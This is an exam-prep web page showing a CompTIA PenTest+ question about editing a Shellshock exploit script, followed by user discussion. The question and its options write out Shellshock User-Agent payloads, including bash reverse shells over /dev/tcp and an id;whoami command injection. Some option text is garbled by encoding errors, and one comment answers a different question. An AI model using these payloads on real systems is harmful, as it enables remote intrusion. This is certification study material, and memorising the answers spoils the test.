exam questions

Exam PT0-002 All Questions

View all questions & answers for the PT0-002 exam

Exam PT0-002 topic 1 question 52 discussion

Actual exam question from CompTIA's PT0-002
Question #: 52
Topic #: 1
[All PT0-002 Questions]

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploit = {`User-Agent`: `() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/html,application/ xhtml+xml,application/xml`}
Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

  • A. exploit = {ג€User-Agentג€: ג€() { ignored;};/bin/bash -i id;whoamiג€, ג€Acceptג€: ג€text/html,application/xhtml +xml,application/xmlג€}
  • B. exploit = {ג€User-Agentג€: ג€() { ignored;};/bin/bash -i>& find / -perm -4000ג€, ג€Acceptג€: ג€text/html,application/xhtml +xml,application/xmlג€}
  • C. exploit = {ג€User-Agentג€: ג€() { ignored;};/bin/sh -i ps -efג€ 0>&1ג€, ג€Acceptג€: ג€text/html,application/xhtml +xml,application/xmlג€}
  • D. exploit = {ג€User-Agentג€: ג€() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80ג€ 0>&1ג€ ג€Acceptג€: ג€text/ html,application/xhtml+xml,application/xmlג€}
Show Suggested Answer Hide Answer
Suggested Answer: A 🗳️

Comments

Chosen Answer:
This is a voting comment (?). It is better to Upvote an existing comment if you don't have anything to add.
Switch to a voting comment New
RRabbit_111
Highly Voted 1 year, 11 months ago
Selected Answer: A
A. exploit = {User-Agent: () { ignored;};/bin/bash -i id;whoami, Accept: text/html,application/xhtml +xml,application/xml} The code in the script is creating a dictionary object called exploit which contains a key-value pair for the User-Agent and Accept headers. The value of the User-Agent key is a command that will execute a shell command to create a reverse shell and redirect its input and output to a specified IP and port. To determine the user context in which the server is being run, the tester should replace the command in the User-Agent value with 'id;whoami' which will execute a shell command to show the current user and group name of the process. Option B is trying to find all files with the SUID bit set, which is not related to determining the user context in which the server is being run. Option C is executing 'ps -ef' command which shows all running processes but not the user context. Option D is trying to connect to the same IP and port, which is not related to determining the user context in which the server is being run.
upvoted 13 times
Meep123
1 year, 3 months ago
Yes, I will have your children.
upvoted 12 times
...
...
ryanzou
Highly Voted 2 years, 3 months ago
Selected Answer: A
A is correct
upvoted 6 times
...
Learner213
Most Recent 4 days, 18 hours ago
Selected Answer: A
The question needs to be re-written on the practice exam. The answers make no sense because of the weird special characters in the statements. A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploit = {`User-Agent`: `() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/html,application/ xhtml+xml,application/xml`} Which of the following edits should the tester make to the script to determine the user context in which the server is being run? A. exploit = {User-Agent: () { ignored;};/bin/bash -i id;whoami, Accept: text/html,application/xhtml +xml,application/xml}
upvoted 1 times
...
Etc_Shadow28000
6 months, 1 week ago
Selected Answer: A
A. The other options do not directly address the need to determine the user context: • B: find / -perm -4000 lists files with the setuid bit set, which is useful for privilege escalation but does not determine the user context. • C: ps -ef lists all processes, which can be useful for understanding the system state but does not determine the user context. • D: Redirecting output to /dev/tcp/10.10.1.1/80 is for creating a reverse shell, but it does not provide the specific information about the user context. Thus, option A is the best choice for determining the user context in which the server is being run.
upvoted 1 times
...
[Removed]
1 year, 1 month ago
Selected Answer: A
Which of the following edits should the tester make to the script to determine the USER context in which the server is being run? Trying to find user. Answer choice A "whoami".
upvoted 1 times
...
Kirby87
1 year, 1 month ago
To determine the user context in which the server is being run, the tester can modify the script to include a command that retrieves information about the user. The correct option would be: A. exploit = {'User-Agent': '() { ignored;};/bin/bash -i id;whoami', 'Accept': 'text/html,application/xhtml+xml,application/xml'} This modification includes the id;whoami command after the /bin/bash -i part. This command will provide information about the user's identity when the exploit is executed on the vulnerable web server.
upvoted 1 times
...
nickwen007
1 year, 10 months ago
The edit that the tester should make to the script to determine the user context in which the server is being run is A. exploit = {`User-Agent`: `() { ignored;};/bin/bash -i id;whoami`, `Accept`: `text/html,application/xhtml+xml,application/xml`}. This edit will execute the "whoami" command, which will show the user context in which the server is being run.
upvoted 1 times
...
nickwen007
1 year, 10 months ago
The technique that would best accomplish this goal is D. Tag nesting. Tag nesting involves using multiple tags to gain access to a system or network, which can be used by the penetration tester to send traffic to a remote system without being detected.
upvoted 1 times
OnA_Mule
1 year, 8 months ago
While your answer may be correct, it's not the answer for this question, lol. Guessing this was meant for Q51
upvoted 1 times
...
...
kloug
1 year, 11 months ago
aaaaaaa
upvoted 1 times
...
Codyjs54
1 year, 11 months ago
Selected Answer: A
A is correct
upvoted 2 times
...
rangertau
2 years, 3 months ago
User context, i.e. who am i?
upvoted 5 times
...
RightAsTain
2 years, 3 months ago
Could someone explain this one?
upvoted 1 times
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...
exam
Someone Bought Contributor Access for:
SY0-701
London, 1 minute ago